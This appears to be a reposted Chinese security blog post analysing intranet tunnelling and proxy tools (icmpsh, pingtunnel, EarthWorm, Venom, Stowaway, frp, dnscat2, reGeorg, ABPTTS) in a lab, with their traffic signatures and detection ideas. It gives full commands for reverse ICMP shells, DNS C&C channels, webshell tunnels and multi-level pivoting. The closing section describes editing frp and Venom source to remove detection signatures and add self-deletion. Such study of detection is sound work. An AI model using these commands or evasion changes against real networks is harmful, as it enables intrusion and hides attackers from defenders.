记录一下对内网代理和穿透工具的分析过程,着重在流量侧
攻击机器:192.168.1.131和192.168.1.133
目标机器:192.168.1.137
目标机器为双网卡,第二层网段为192.168.3.0
思路:网络层 -> 传输层 -> 应用层
icmpsh
介绍
icmpsh是一个简单的反向ICMP shell工具。与其他类似的开源工具相比,主要优势在于它不需要管理权限即可在目标机器上运行。
客户端只能在Windows机器运行,服务端可以在任何平台上运行。
下载
https://github.com/bdamele/icmpsh
使用
服务端:
git clone https://github.com/inquisb/icmpsh.git
#关闭icmp回复,如果要开启icmp回复,该值设置为0
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#运行,第一个IP是VPS的eth0网卡IP,第二个IP是目标机器出口的公网IP
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
python2 -m pip install impacket
python2 icmpsh_m.py 192.168.1.133 192.168.1.137
客户端:
-t 主机ip地址以发送ping请求。这个选项是强制性的!
-r 发送一个包含字符串“Test1234”的测试icmp请求,然后退出。
-d 毫秒请求之间的延迟(毫秒)
-o 毫秒响应超时(毫秒)。如果没有及时收到回复,从机将增加空白计数器。如果该计数器达到某个极限,从机将退出。如果收到响应,计数器将设置回0。
-b 空白数量限制(退出前未答复的icmp请求)
-s 字节最大数据缓冲区大小(字节)
icmpsh.exe -t 192.168.1.133 -d 500 -b 30 -s 128
pingtunnel
介绍
Pingtunnel 是一种通过 ICMP 发送 TCP/UDP 流量的工具。其是最流行的一款ICMP代理工具,提供对tcp/udp/sock5流量伪装成icmp流量进行转发的功能。需要root或者administrator/system权限。
下载
https://github.com/esrrhs/pingtunnel
使用
高权限条件下
构建反向代理
1)服务端
-type server 代表开启ICMP SERVER端,等待客户端进行连接与通信。
-noprint 1 不在控制台打印日志
-nolog 1 不存储日志文件
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server -noprint 1 -nolog 1
2)客户端
pingtunnel.exe -type client -l :4455 -s 192.168.1.133 -sock5 1 -noprint 1 -nolog 1
3)测试使用
设置 socks5
访问二层网络
正常情况下,单位时间内数据包发送的数量为一组。
单组数据包Data字段长度,Windows为32 bytes,Linux下为48 bytes,并且请求包和响应包长度相同。
单组数据包Data字段内容中,Windows为abcdefghijklmnopqrstuvwabcdefghi,Linux下为!”#$%&’()+,-./01234567。
数据包Type字段类型为0或者8,表示请求和应答。
在icmpsh中,其交互过程的数据包中请求包和响应包长度明显不相同,并且Data字段内容明显为明文的敏感信息。
建立连接
执行命令过程
在pingtunnel中,明显地,单位时间内数据包的数量过大。
单组数据包Data字段长度非默认长度,并且请求和应答报文的长度也不相同。在单组数据包Data字段内容中,在交互过程存在会话key和明文访问信息。
pingtunnel在访问过程会把会话key和访问信息封装到icmp协议的data字段中。
流量检测关键点:
单位时间内数据包的数量
单组数据包Data字段长度
单组数据包Data字段内容
EarthWorm
介绍
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处。
下载
https://github.com/rootkiter/EarthWorm
使用
EW共有6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)
ssocksd:正向代理、rcsocks:流量转发、rssocks:socks5反弹
lcx_slave:端口绑定、lcx_listen:流量转发、lcx_tran:端口转发
lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_listen该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
-l 为服务启动打开一个端口。
-d 设置反弹主机地址。
-e 设置反弹端口。
-f 设置连接主机地址。
-g连接端口设置连接端口。
-t 设置超时的毫秒数。默认值值是1000
1)反向socks5代理
客户端
ew.exe -s rssocks -d 192.168.1.131 -e 8888
ew.exe -s rcsocks -l 1080 -e 8888
2)二级级联
获得目标网络内两台主机A(2.2.2.2)、B(2.2.2.3)的权限。
A主机存在公网 IP,且自由监听任意端口,无法访问特定资源。
B主机是目标网络内部主机,可访问特定资源,但无法访问公网。
A主机可直连B主机。
主机A
ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 8888
主机B
ew -s ssocksd -l 8888
通过proxifier代理工具访问2.2.2.2:1080
主机A(2.2.2.2)、B(2.2.2.3),公网VPS(1.1.1.1)。
A主机,无公网 IP,无法访问特定资源,可访问外网。
B主机是内部主机,可访问特定资源,却无法回连公网。
A主机可直连B主机。
公网主机
ew -s lcx_listen -e 8888 -l 1080
A主机
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
B主机
ew -s ssocksd -l 9999
通过proxifier代理工具访问1.1.1.1:1080
3)多级级联
主机A(2.2.2.2)、B(2.2.2.3)、C(2.2.2.4),公网VPS(1.1.1.1)。
A主机无公网IP,无法访问特定资源,可访问外网。
B主机无法访问特定资源,无法回连公网。
C主机可访问特定资源,无法回连公网。
A主机可直连B主机,B主机可直连C主机。
VPS
ew -s rcsocks -l 1080 -e 8888
主机A
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
主机B
ew -s lcx_listen -l 9999 -e 7777
主机C
ew -s rssocks -d 2.2.2.3 -e 7777
通过proxifier代理工具访问1.1.1.1:1080
数据流向为socks5代理-> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
Venom
介绍
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。
渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
其功能特性支持:多级socks5代理、多级端口转发、端口复用 (apache/mysql/…)、ssh隧道、节点间通信加密
下载
https://github.com/Dliv3/Venom/
使用
1)未加密下的反向socks5代理
服务端
admin.exe -lport 9999
客户端
agent.exe -rhost 192.168.1.131 -rport 9999
2)加密下的反向socks5代理
admin.exe -lport 9999 -passwd [email protected]
agent.exe -rhost 192.168.1.131 -rport 9999 -passwd [email protected]
3)多级级联
VPS:120.10.120.X
admin_linux_x64 -lport 4343 -passwd [email protected]
goto 1
listen 4343
goto 2
listen 4343
主机A:192.168.3.15
agent.exe -rhost 120.10.120.X -rport 4343 -passwd [email protected]
主机B:192.168.3.30
agent.exe -rhost 192.168.3.15 -rport 4343 -passwd [email protected]
主机C:192.168.3.160
agent.exe -rhost 192.168.3.30 -rport 4343 -passwd [email protected]
Stowaway
介绍
Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具。用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能。
其功能特性支持:节点间正向/反向连接、节点间支持重连、节点间可通过socks5代理进行连接、节点间可通过ssh隧道连接、节点间流量可选择TCP/HTTP、多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6、节点支持ssh访问远程主机、远程shell、上传及下载文件、端口本地/远程映射、节点可端口复用、自由开关各类服务、节点间相互认证、节点间流量以AES-256-GCM进行加密。
下载
https://github.com/ph4ntonn/Stowaway
使用
1)未加密下反向代理
服务端
stowaway_admin -l 9999
use 0
socks 10001
客户端
stowaway_agent -c 192.168.1.131:9999
2)加密下反向代理
stowaway_admin -l 9999 -s [email protected]
stowaway_agent -c 192.168.1.131:9999 -s [email protected]
3)多级级联
在stowaway中,组成多级网络需要借助admin中的listen、connect、 sshtunnel命令来实现
admin:
./stowaway_admin -l 9999 -s 123
agent-1:
./stowaway_agent -c 127.0.0.1:9999 -s 123
agent-2:
./stowaway_agent -l 10000 -s 123
通过admin,输入use 0 -> connect agent-2的IP:10000来将其加入网络,并成为agent-1的一个子节点
agent-3:
./stowaway_agent -c 127.0.0.1:10001 -s 123
通过admin,输入use 0 -> listen -> 选择1.Normal Passive -> 输入10001 从而使得agent-1监听在10001端口上,并等待子节点的连接
Frp
介绍
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
其功能特性支持:支持 TCP、KCP 以及 Websocket 等多种协议;采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间;代理组间的负载均衡;端口复用,多个服务通过同一个服务端端口暴露;多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等)。
下载
https://github.com/fatedier/frp
使用
1)正常使用
客户端
[common]
server_addr = 192.168.1.131
server_port = 7000
token = [email protected]
[socks5]
type = tcp
local_ip = 192.168.3.73
remote_port = 1081
plugin = socks5
plugin_user = test
plugin_passwd = 123
use_encryption = true
use_compression = true
服务端
[common]
bind_port = 7000
token = [email protected]
2)多级级联
1、黑客VPS
#frpc.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7099
2、外网web服务器
#frpc.ini
[common]
server_addr = 192.168.27.157
server_port = 7000
[proxy]
type = tcp
local_ip = 10.10.3.100
local_port = 9999
remote_port = 9999
plugin = socks5
#frps.ini
[common]
bind_addr = 10.10.3.100
bind_port = 7000
3、内网域控
#frpc.ini
[common]
server_addr = 10.10.3.100
server_port = 7000
[proxy]
type = tcp
local_ip = 10.10.21.5
local_port = 9999
remote_port = 9999
plugin = socks5
#frps.ini
[common]
bind_addr = 10.10.21.5
bind_port = 7000
4、财务子域控制器
#frpc.ini
[common]
server_addr = 10.10.21.5
server_port = 7000
[proxy]
type = tcp
remote_port = 9999
plugin = socks5
最后通过proxifier将流量带入内网
EarthWorm
ew在建立连接的过程中,数据包存在额外的数据特征“xx xx 00 00 00 00”
客户端发送“01 01 00 00 00 00”
服务端应答“01 02 00 00 00 00”,建立连接。
Venom
未加密下venom在建立连接过程的过程中会先发起系列”00 00 00 00 00 00“
接着通过携带“ABCDEFGH”,来判断是否为venom协议
同时,通过携带“VCMD”,作为协议的数据分割
执行命令过程也为明文信息
使用venom的加密下,只存在较小的特征,如携带的数据全置零
推测,其在只有在不使用端口复用时候,才存在
Stowaway
加密和未加密情况下,除了部分数据加密外,特征并没有发生变化。
stowaway在建立连接过程的过程中客户端会先发起系列”00 00 00 00 00 00“
随后,客户端继续携带生成的“会话key”,向服务端发起请求
在服务端确认相同的“会话key”后,客户端发起请求管理端的信息
const ADMIN_UUID = "IAMADMINXD"
const TEMP_UUID = "IAMNEWHERE"
const TEMP_ROUTE = "THEREISNOROUTE"
服务端回复确认后,建立连接
由于未加密,存在明文信息
在建立连接后,伴随着大量重复ACK确认请求,怀疑是做心跳保持?
Frp
1)未添加tls加密下的frp
客户端
[common]
server_addr = 192.168.1.131
server_port = 7000
token = [email protected]
[socks5]
type = tcp
local_ip = 192.168.3.73
remote_port = 1081
plugin = socks5
plugin_user = test
plugin_passwd = 123
use_encryption = true
use_compression = true
服务端
[common]
bind_port = 7000
token = [email protected]
客户端携带版本架构等信息向服务端发起请求
服务端回应相关信息
客户端和服务端之间传递会话id和会话key
服务端创建socks5信息
由于进行了加密和压缩,报文的data是加密的
2)添加了tls加密后的frp
客户端
[common]
server_addr = 192.168.1.131
server_port = 7000
token = [email protected]
tls_enable = true
[socks5]
type = tcp
local_ip = 192.168.3.73
remote_port = 1081
plugin = socks5
plugin_user = test
plugin_passwd = 123
use_encryption = true
use_compression = true
服务端
[common]
bind_port = 7000
token = [email protected]
添加了tls和加密压缩后的frp在通信过程已经没有了版本信息和会话信息。不过,在建立连接的过程启用tls前,客户端携带“0x17”,请求服务端
利用wireshark详细分析,发现wireshark识别该报文为“Gryphon”协议,“Gryphon”协议为工控协议,用于车用通讯协定
随后,以固定的243字节的TLS-hello报文向服务端发起请求
固定243字节长度的hello报文告诉服务端,frp支持的一系列加密算法套件
服务端选定加密算法,理论上也是90字节大小的TLS-hello报文,向客户端发起应答
随后完成协商过程,建立tls加密通信
Udp2raw
介绍
该工具可以利用原始套接字并通过伪造的TCP/UDP/ICMP流量来帮助研究人员绕过UDP防火墙(或不稳定的UDP环境)。
其支持心跳保活、自动重连,重连后会恢复上次连接,在底层掉线的情况下可以保持上层不掉线。同时有加密、防重放攻击、信道复用的功能。
下载
https://github.com/wangyu-/udp2raw
使用
在server端运行:
./udp2raw_amd64 -s -l0.0.0.0:4096 -r127.0.0.1:7777 -k "passwd" --raw-mode faketcp --cipher-mode xor -a
在client端运行:
./udp2raw_amd64 -c -l0.0.0.0:3333 -r192.168.1.133:4096 -k "passwd" --raw-mode faketcp --cipher-mode xor -a
服务端
客户端
Udp2raw
利用udp2raw技术构建的隧道,目前在流量上未发现明显的特征
DnsCat2 && Dnscat2-Powrshell
介绍
dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证。使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。
使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。
直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。
下载
https://github.com/iagox86/dnscat2
https://github.com/lukebaggett/dnscat2-powershell
使用
1)直连模式
ruby ./dnscat2.rb -s 553 -c password --no-cache
dnscat2-client.exe --dns server=192.168.1.133,port=553 --secret=password
2)中继模式
#-e 指定安全级别,open 表示服务端允许客户端不进行加密
ruby ./dnscat2.rb www.dnstuneltest.com -c password --no-cache -e open
dnscat2-client.exe --dns domain=www.dnstuneltest.com --secret=password
直连模式下,dnscat2存在明显的连接特征
中继模式下的dnscat2,除开携带域名信息外,无其他明显流量特征
除了域名信息外,单位时间内dns数据包的发送频率也可以当作特征处理。
sudo ssh -N -f -L 192.168.1.133:4444:192.168.1.129:3389 192.168.1.133
在利用ssh进行隧道转发的过程中,除第一个数据包会出现机器的用户名外,在流量过程中无其他明显指纹
tunnel
介绍
Tunna 是一组工具,它将通过 HTTP 包装和隧道任何 TCP 通信。它可用于绕过完全防火墙环境中的网络限制。
下载
https://github.com/SECFORCE/Tunna
使用
-l 表示本地监听的端口
-r 远程要转发的端口
-v 详细模式
-b 请求大小
-s 首先启动 pinging 线程 - 一些服务首先发送数据(例如 SSH)
-C 请求 cookie
-t 基本认证
1)连接RDP
python proxy.py -u http://192.168.1.137:81/Files/common/conn.aspx -l 1234 -r 3389 –v
python proxy.py -u http://192.168.1.137:81/Files/common/conn.aspx -l 1234 -a 192.168.3.144 -r 3389
2)连接SSH
python proxy.py -u http://218.4.45.152:8877/job/conn.php -l 1234 -r 22 -v –s
reGeog&&Neo-reGeorg
介绍
reGeorg是reDuh的继承者,其主要是把内网服务器的端口通过http/https构建成隧道的一款工具。
Neo-reGeorg是一个旨在积极重构reGeorg的项目,目的是:提高 tunnel 连接安全性、提高可用性,避免特征检测、提高传输内容保密性、应对更多的网络环境场景。
Neo-reGeorg支持:
1、传输内容经过变形 base64 加密,伪装成 base64 编码
2、直接请求响应可定制化 (如伪装的404页面)
3、HTTP Headers 的指令随机生成,避免特征检测
4、HTTP Headers 可定制化
5、自定义 HTTP 响应码
6、多 URL 随机请求
7、服务端 DNS 解析
8、兼容 python2 / python3
9、服务端环境的高兼容性
(仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
(非 php) 支持内网转发,应对负载均衡环境
下载
https://github.com/sensepost/reGeorg
https://github.com/L-codes/Neo-reGeorg
使用
reGeorg
$ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
Neo-reGeorg
python3 neoreg.py generate -k password
python3 neoreg.py -k password -u http://xx/tunnel.php
python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
python neoreg.py -k <you_password> -u <server_url> --skip
python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
ABPTTS
介绍
ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发的工具。
下载
https://github.com/nccgroup/ABPTTS
使用
git clone https://github.com/nccgroup/ABPTTS.git
pip install pycryptodome
pip install httplib2
#生成对应webshell
python abpttsfactory.py -o webshell
#把目标主机的3389端口转发到本地的7777端口
python abpttsclient.py -c webshell/config.txt -u "http://192.168.1.137:81/Files/common/abptts.aspx" -f 192.168.1.133:7777/127.0.0.1:3389
tunnel
页面特征
连接报文特征
reGeog&Neo-reGeorg**
对于reGeog,其默认的页面特征为
从流量报文上看,也具有一定的特征信息
Neo-reGeog的页面信息
Neo-reGeog的流量报文
ABPTTS
abptts页面特征
查看报文特征
以frp作为案例
端口检测、进程检测、网络检测、文件检测、行为检测、流量检测、日志检测
端口检测:默认配置下,frp的服务端端口为7000
进程检测:从进程上看,frp的进程名称非常明显
流量检测:默认配置下,frp的建立连接过程和心跳维持过程都存在较为明显的特征。
添加tls加密后,frp在协商前存在0x17的协议头部特征
针对服务器:
收敛出站权限(配置NAT、反向代理、统一内部DNS)
阻断恶意入站(部署企业级WAF)
针对办公机:
收拢协议
规范行为
定位到frp\pkg\msg\msg.go文件,修改结构体中的特征
Login\LoginResp\NewProxy\NewProxyResp\CloseProxy\NewWorkConn\StartWorkConn\NewVisitorConn
NewVisitorConnResp\Ping\UDPPacket\NatHoleVisitor\NatHoleClient\NatHoleResp\NatHoleSid
注意每个字段的一致性,特别是PrivilegeKey、Timestamp和RunID
定位到frp\pkg\util\version\version.go文件,修改版本特征
修改版本对比
测试
修改服务端和客户端的默认salt
frp/cmd/frpc/main.go
frp/cmd/frps/main.go
修改frp的tls协议中固定的0x17特征
frp/pkg/util/net/tls.go
在frp/cmd/frpc/sub/root.go中,注册变量,在RegisterCommonFlags函数中注册参数,最后在startService运行检测函数中添加自删除操作
venom的特征在于协议的数据分隔符和在端口重用时的鉴别符号,修改global/global.go后,重新编译,即可实现特征隐藏。
改造后的venom,未进行加密情况下的报文信息中无原来的协议特征
烽火台实验室-《内网代理工具与检测方法研究》
FreeBuf-kczwa1-《内网全局代理工具及特征分析》
天融信安全服务-《安全运营内刊|检测与防护能力-隧道工具的使用与检测》
作者:RJ45,文章来源于https://rj45mp.github.io/
排版:HACK之道
师傅们点赞、转发、在看就是最大的支持